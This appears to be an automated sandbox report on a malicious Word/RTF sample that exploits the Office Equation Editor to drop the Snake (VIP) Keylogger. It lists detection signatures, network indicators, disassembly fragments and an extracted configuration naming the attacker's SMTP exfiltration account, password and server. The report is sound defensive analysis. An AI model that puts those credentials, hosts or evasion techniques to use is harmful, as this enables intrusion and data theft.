Windows Analysis Report
na.doc

Overview

General Information

Sample name: na.doc
Analysis ID: 1545179
MD5: 84db82889d53879931a4551c5c81619b
SHA1: 29d3908cadf8833d5dfe8f46235fc332f16883af
SHA256: 3a3a4165f6e4845d27dcee1345e65abc27af1fbd2a9acb2e675faa02dd3dbe5f
Tags: docuser-abuse_ch
Infos:

Detection

Snake Keylogger, VIP Keylogger
Score: 100
Range: 0 - 100
Whitelisted: false
Confidence: 100%

Signatures

Antivirus / Scanner detection for submitted sample
Found malware configuration
Initial sample is an obfuscated RTF file
Malicious sample detected (through community Yara rule)
Multi AV Scanner detection for submitted file
Sigma detected: EQNEDT32.EXE connecting to internet
Sigma detected: File Dropped By EQNEDT32EXE
Suricata IDS alerts for network traffic
Yara detected Snake Keylogger
Yara detected Telegram RAT
Yara detected VIP Keylogger
.NET source code contains potential unpacker
.NET source code references suspicious native API functions
Adds a directory exclusion to Windows Defender
Contains functionality to capture screen (.Net source)
Contains functionality to log keystrokes (.Net Source)
Document exploit detected (process start blacklist hit)
Injects a PE file into a foreign processes
Installs new ROOT certificates
Machine Learning detection for dropped file
Office equation editor drops PE file
Office equation editor establishes network connection
Office equation editor starts processes (likely CVE 2017-11882 or CVE-2018-0802)
Sigma detected: Equation Editor Network Connection
Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet
Sigma detected: Suspicious Binary In User Directory Spawned From Office Application
Sigma detected: Suspicious Microsoft Office Child Process
Tries to detect the country of the analysis system (by using the IP)
Tries to harvest and steal browser information (history, passwords, etc)
Tries to steal Mail credentials (via file / registry access)
Uses the Telegram API (likely for C&C communication)
Yara detected Generic Downloader
Abnormal high CPU Usage
Allocates memory with a write watch (potentially for evading sandboxes)
Allocates memory within range which is reserved for system DLLs (kernel32.dll, advapi32.dll, etc)
Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)
Contains functionality to call native functions
Contains long sleeps (>= 3 min)
Creates a process in suspended mode (likely to inject code)
Detected potential crypto function
Downloads executable code via HTTP
Drops PE files
Enables debug privileges
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Found inlined nop instructions (likely shell or obfuscated code)
HTTP GET or POST without a user agent
IP address seen in connection with other malware
Internet Provider seen in connection with other malware
JA3 SSL client fingerprint seen in connection with other malware
May check the online IP address of the machine
May sleep (evasive loops) to hinder dynamic analysis
Office Equation Editor has been started
Potential document exploit detected (performs DNS queries)
Potential document exploit detected (performs HTTP gets)
Potential document exploit detected (unknown TCP traffic)
Queries the volume information (name, serial number etc) of a device
Sigma detected: Powershell Defender Exclusion
Sigma detected: Suspicious DNS Query for IP Lookup Service APIs
Stores large binary data to the registry
Suricata IDS alerts with low severity for network traffic
Uses a known web browser user agent for HTTP communication
Uses code obfuscation techniques (call, push, ret)
Uses insecure TLS / SSL version for HTTPS connection
Yara detected Credential Stealer
Yara signature match

Classification

Name Description Attribution Blogpost URLs Link
404 Keylogger, Snake Keylogger Snake Keylogger (aka 404 Keylogger) is a subscription-based keylogger that has many capabilities. The infostealer can steal a victims sensitive information, log keyboard strokes, take screenshots and extract information from the system clipboard. It was initially released on a Russian hacking forum in August 2019. It is notable for its relatively unusual methods of data exfiltration, including via email, FTP, SMTP, Pastebin or the messaging app Telegram. No Attribution https://malpedia.caad.fkie.fraunhofer.de/details/win.404keylogger

AV Detection
barindex
Antivirus / Scanner detection for submitted sample
Source: na.doc Avira: detected
Found malware configuration
Source: 00000005.00000002.414699470.00000000039A7000.00000004.00000800.00020000.00000000.sdmp Malware Configuration Extractor: Snake Keylogger {"Exfil Mode": "SMTP", "Username": "yugolog@falconcables.info", "Password": "7213575aceACE@@ ", "Host": "185.198.59.26", "Port": "587", "Version": "4.4"}
Source: 5.2.cmnjgyugo61000.exe.3cdcb20.5.unpack Malware Configuration Extractor: VIP Keylogger {"Exfil Mode": "SMTP", "Email ID": "yugolog@falconcables.info", "Password": "7213575aceACE@@ ", "Host": "185.198.59.26", "Port": "587"}
Multi AV Scanner detection for submitted file
Source: na.doc ReversingLabs: Detection: 44%
Machine Learning detection for dropped file
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\T4O403JZ\CLLPdgxhnmwGf5Y[1].exe Joe Sandbox ML: detected

Location Tracking
barindex
Tries to detect the country of the analysis system (by using the IP)
Source: unknown DNS query: name: reallyfreegeoip.org

Exploits
barindex
Office equation editor establishes network connection
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Network connect: IP: 87.120.84.38 Port: 80 Jump to behavior
Office equation editor starts processes (likely CVE 2017-11882 or CVE-2018-0802)
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Process created: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Process created: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe Jump to behavior
Office Equation Editor has been started
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process created: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE "C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process created: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE "C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding
Uses insecure TLS / SSL version for HTTPS connection
Source: unknown HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.22:49167 version: TLS 1.0
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE File opened: C:\Windows\WinSxS\amd64_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.4940_none_08e4299fa83d7e3c\MSVCR90.dll Jump to behavior
Source: unknown HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.22:49183 version: TLS 1.2

Software Vulnerabilities
barindex
Document exploit detected (process start blacklist hit)
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process created: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE
Found inlined nop instructions (likely shell or obfuscated code)
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe Code function: 4x nop then jmp 005F4EB5h 5_2_005F4973
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe Code function: 4x nop then mov dword ptr [ebp-14h], 00000000h 8_2_001D69B8
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe Code function: 4x nop then jmp 001D9743h 8_2_001D9330
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe Code function: 4x nop then jmp 001D767Dh 8_2_001D7490
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe Code function: 4x nop then jmp 001D8007h 8_2_001D7490
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe Code function: 4x nop then jmp 001D9181h 8_2_001D8EC4
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe Code function: 4x nop then jmp 001DEB89h 8_2_001DE8A8
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe Code function: 4x nop then jmp 001DF4B9h 8_2_001DF1D9
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe Code function: 4x nop then mov dword ptr [ebp-14h], 00000000h 8_2_001D71C9
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe Code function: 4x nop then jmp 001DFDE9h 8_2_001DFB08
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe Code function: 4x nop then jmp 001DF021h 8_2_001DED40
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe Code function: 4x nop then jmp 001D9743h 8_2_001D95B0
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe Code function: 4x nop then jmp 001DF951h 8_2_001DF670
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe Code function: 4x nop then jmp 001D9743h 8_2_001D9672
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe Code function: 4x nop then mov dword ptr [ebp-14h], 00000000h 8_2_001D6FEA
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe Code function: 4x nop then jmp 003FE54Ah 8_2_003FE250
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe Code function: 4x nop then jmp 003F85AAh 8_2_003F82B0
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe Code function: 4x nop then jmp 003F1A09h 8_2_003F1738
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe Code function: 4x nop then jmp 003FFD32h 8_2_003FFA38
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe Code function: 4x nop then jmp 003F3101h 8_2_003F2E30
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe Code function: 4x nop then jmp 003FD22Ah 8_2_003FCF30
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe Code function: 4x nop then jmp 003FA722h 8_2_003FA428
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe Code function: 4x nop then jmp 003F50E9h 8_2_003F4E18
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe Code function: 4x nop then jmp 003FEA12h 8_2_003FE718
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe Code function: 4x nop then jmp 003F67E2h 8_2_003F6510
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe Code function: 4x nop then jmp 003FBF0Ah 8_2_003FBC10
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe Code function: 4x nop then jmp 003F10D9h 8_2_003F0E08
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe Code function: 4x nop then jmp 003F7F7Ah 8_2_003F7C08
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe Code function: 4x nop then jmp 003F9402h 8_2_003F9108
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe Code function: 4x nop then jmp 003F27D1h 8_2_003F2500
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe Code function: 4x nop then jmp 003F6349h 8_2_003F6078
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe Code function: 4x nop then jmp 003F8A72h 8_2_003F8778
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe Code function: 4x nop then jmp 003F0C41h 8_2_003F0970
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe Code function: 4x nop then jmp 003F7A41h 8_2_003F7770
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe Code function: 4x nop then jmp 003FF86Ah 8_2_003FF570
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe Code function: 4x nop then jmp 003F2339h 8_2_003F2068
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe Code function: 4x nop then jmp 003FCD62h 8_2_003FCA68
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe Code function: 4x nop then jmp 003F3A09h 8_2_003F3760
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe Code function: 4x nop then jmp 003FA25Ah 8_2_003F9F60
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe Code function: 4x nop then jmp 003F4321h 8_2_003F4050
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe Code function: 4x nop then jmp 003F5A19h 8_2_003F5748
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe Code function: 4x nop then jmp 003FBA42h 8_2_003FB748
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe Code function: 4x nop then jmp 003F0311h 8_2_003F0040
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe Code function: 4x nop then jmp 003F7111h 8_2_003F6E40
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe Code function: 4x nop then jmp 003F8F3Ah 8_2_003F8C40
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe Code function: 4x nop then jmp 003F3E89h 8_2_003F3BB8
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe Code function: 4x nop then jmp 003FB0B2h 8_2_003FADB8
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe Code function: 4x nop then jmp 003F5581h 8_2_003F52B0
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe Code function: 4x nop then jmp 003F6C79h 8_2_003F69A8
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe Code function: 4x nop then jmp 003FF3A2h 8_2_003FF0A8
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe Code function: 4x nop then jmp 003F1571h 8_2_003F12A0
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe Code function: 4x nop then jmp 003FC89Ah 8_2_003FC5A0
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe Code function: 4x nop then jmp 003F2C69h 8_2_003F2998
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe Code function: 4x nop then jmp 003F9D92h 8_2_003F9A98
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe Code function: 4x nop then jmp 003FE082h 8_2_003FDD88
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe Code function: 4x nop then jmp 003F4C51h 8_2_003F4980
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe Code function: 4x nop then jmp 003FB57Ah 8_2_003FB280
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe Code function: 4x nop then jmp 003FD6F2h 8_2_003FD3F8
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe Code function: 4x nop then jmp 003FABEAh 8_2_003FA8F0
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe Code function: 4x nop then jmp 003F47B9h 8_2_003F44E8
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe Code function: 4x nop then jmp 003F5EB1h 8_2_003F5BE0
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe Code function: 4x nop then jmp 003FEEDAh 8_2_003FEBE0
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe Code function: 4x nop then jmp 003F07A9h 8_2_003F04D8
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe Code function: 4x nop then jmp 003F75A9h 8_2_003F72D8
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe Code function: 4x nop then jmp 003FC3D2h 8_2_003FC0D8
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe Code function: 4x nop then jmp 003F1EA1h 8_2_003F1BD0
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe Code function: 4x nop then jmp 003F98CAh 8_2_003F95D0
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe Code function: 4x nop then jmp 003F3599h 8_2_003F32C8
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe Code function: 4x nop then jmp 003FDBBAh 8_2_003FD8C0
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe Code function: 4x nop then jmp 0054033Ah 8_2_00540040
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe Code function: 4x nop then jmp 0054330Ah 8_2_00543010
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe Code function: 4x nop then jmp 00541B22h 8_2_00541828
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe Code function: 4x nop then jmp 005437D2h 8_2_005434D8
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe Code function: 4x nop then jmp 00541FEAh 8_2_00541CF0
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe Code function: 4x nop then jmp 00541192h 8_2_00540E98
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe Code function: 4x nop then jmp 0054297Ah 8_2_00542680
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe Code function: 4x nop then jmp 00542E42h 8_2_00542B48
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe Code function: 4x nop then jmp 0054165Ah 8_2_00541360
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe Code function: 4x nop then jmp 00540802h 8_2_00540508
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe Code function: 4x nop then jmp 00540CCAh 8_2_005409D0
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe Code function: 4x nop then jmp 005424B3h 8_2_005421B8
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe Code function: 4x nop then jmp 00543C9Ah 8_2_005439A0
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe Code function: 4x nop then jmp 005689F9h 8_2_00568750
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe Code function: 4x nop then jmp 00569701h 8_2_00569458
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe Code function: 4x nop then jmp 0056FA11h 8_2_0056F740
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe Code function: 4x nop then jmp 00566FE9h 8_2_00566D40
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe Code function: 4x nop then jmp 00567CF1h 8_2_00567A48
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe Code function: 4x nop then jmp 0056BA19h 8_2_0056B770
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe Code function: 4x nop then jmp 00563319h 8_2_00563070
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe Code function: 4x nop then jmp 00564021h 8_2_00563D78
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe Code function: 4x nop then jmp 0056C721h 8_2_0056C478
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe Code function: 4x nop then jmp 0056EC49h 8_2_0056E978
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe Code function: 4x nop then jmp 0056AD11h 8_2_0056AA68
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe Code function: 4x nop then jmp 0056F0E1h 8_2_0056EE10
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe Code function: 4x nop then jmp 0056B5C1h 8_2_0056B318
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe Code function: 4x nop then jmp 005692A9h 8_2_00569000
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe Code function: 4x nop then jmp 005655D9h 8_2_00565330
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe Code function: 4x nop then jmp 0056DCD9h 8_2_0056DA30
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe Code function: 4x nop then jmp 005662E1h 8_2_00566038
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe Code function: 4x nop then jmp 0056C2C9h 8_2_0056C020
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe Code function: 4x nop then jmp 00563BC9h 8_2_00563920
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe Code function: 4x nop then jmp 0056CFD1h 8_2_0056CD28
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe Code function: 4x nop then jmp 005648D1h 8_2_00564628
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe Code function: 4x nop then jmp 0056CB7Bh 8_2_0056C8D0
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe Code function: 4x nop then jmp 00564479h 8_2_005641D0
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe Code function: 4x nop then jmp 00565181h 8_2_00564ED8
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe Code function: 4x nop then jmp 0056D881h 8_2_0056D5D8
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe Code function: 4x nop then jmp 0056B169h 8_2_0056AEC0
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe Code function: 4x nop then jmp 0056BE71h 8_2_0056BBC8
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe Code function: 4x nop then jmp 00563771h 8_2_005634C8
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe Code function: 4x nop then jmp 00567899h 8_2_005675F0
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe Code function: 4x nop then jmp 005685A1h 8_2_005682F8
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe Code function: 4x nop then jmp 00565E89h 8_2_00565BE0
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe Code function: 4x nop then jmp 0056E7B1h 8_2_0056E4E0
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe Code function: 4x nop then jmp 00566B91h 8_2_005668E8
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe Code function: 4x nop then jmp 00566739h 8_2_00566490
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe Code function: 4x nop then jmp 00567441h 8_2_00567198
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe Code function: 4x nop then jmp 0056D429h 8_2_0056D180
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe Code function: 4x nop then jmp 00564D29h 8_2_00564A80
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe Code function: 4x nop then jmp 00565A31h 8_2_00565788
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe Code function: 4x nop then jmp 0056E1C5h 8_2_0056DE88
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe Code function: 4x nop then jmp 00569B59h 8_2_005698B0
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe Code function: 4x nop then jmp 00568149h 8_2_00567EA0
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe Code function: 4x nop then jmp 0056F579h 8_2_0056F2A8
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe Code function: 4x nop then jmp 00568E51h 8_2_00568BA8
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe Code function: 4x nop then lea esp, dword ptr [ebp-04h] 8_2_00655F28
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe Code function: 4x nop then lea esp, dword ptr [ebp-04h] 8_2_00655F38
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe Code function: 4x nop then lea esp, dword ptr [ebp-04h] 8_2_00652B00
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe Code function: 4x nop then lea esp, dword ptr [ebp-04h] 8_2_00652AF2
Potential document exploit detected (performs DNS queries)
Source: global traffic DNS query: name: checkip.dyndns.org
Source: global traffic DNS query: name: checkip.dyndns.org
Source: global traffic DNS query: name: reallyfreegeoip.org
Source: global traffic DNS query: name: checkip.dyndns.org
Source: global traffic DNS query: name: checkip.dyndns.org
Source: global traffic DNS query: name: reallyfreegeoip.org
Source: global traffic DNS query: name: checkip.dyndns.org
Source: global traffic DNS query: name: checkip.dyndns.org
Source: global traffic DNS query: name: reallyfreegeoip.org
Source: global traffic DNS query: name: checkip.dyndns.org
Source: global traffic DNS query: name: checkip.dyndns.org
Source: global traffic DNS query: name: reallyfreegeoip.org
Source: global traffic DNS query: name: reallyfreegeoip.org
Source: global traffic DNS query: name: checkip.dyndns.org
Source: global traffic DNS query: name: checkip.dyndns.org
Source: global traffic DNS query: name: reallyfreegeoip.org
Source: global traffic DNS query: name: checkip.dyndns.org
Source: global traffic DNS query: name: checkip.dyndns.org
Source: global traffic DNS query: name: reallyfreegeoip.org
Source: global traffic DNS query: name: checkip.dyndns.org
Source: global traffic DNS query: name: checkip.dyndns.org
Source: global traffic DNS query: name: reallyfreegeoip.org
Source: global traffic DNS query: name: checkip.dyndns.org
Source: global traffic DNS query: name: checkip.dyndns.org
Source: global traffic DNS query: name: reallyfreegeoip.org
Source: global traffic DNS query: name: api.telegram.org
Potential document exploit detected (performs HTTP gets)
Source: global traffic TCP traffic: 192.168.2.22:49167 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49168 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49170 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49174 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49176 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49178 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49180 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49182 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49183 -> 149.154.167.220:443
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 87.120.84.38:80
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 158.101.44.242:80
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 158.101.44.242:80
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 158.101.44.242:80
Source: global traffic TCP traffic: 192.168.2.22:49169 -> 193.122.6.168:80
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 193.122.6.168:80
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 132.226.247.73:80
Source: global traffic TCP traffic: 192.168.2.22:49175 -> 193.122.6.168:80
Source: global traffic TCP traffic: 192.168.2.22:49177 -> 132.226.247.73:80
Source: global traffic TCP traffic: 192.168.2.22:49179 -> 132.226.8.169:80
Source: global traffic TCP traffic: 192.168.2.22:49181 -> 132.226.8.169:80
Source: global traffic TCP traffic: 192.168.2.22:49167 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49167 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49167 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49167 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49167 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49167 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49167 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49167 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49168 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49168 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49168 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49168 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49168 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49168 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49170 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49170 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49170 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49170 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49170 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49170 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49174 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49174 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49174 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49174 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49174 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49174 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49176 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49176 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49176 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49176 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49176 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49176 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49178 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49178 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49178 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49178 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49178 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49178 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49180 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49180 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49180 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49180 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49180 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49180 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49182 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49182 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49182 -> 188.114.97.3:443
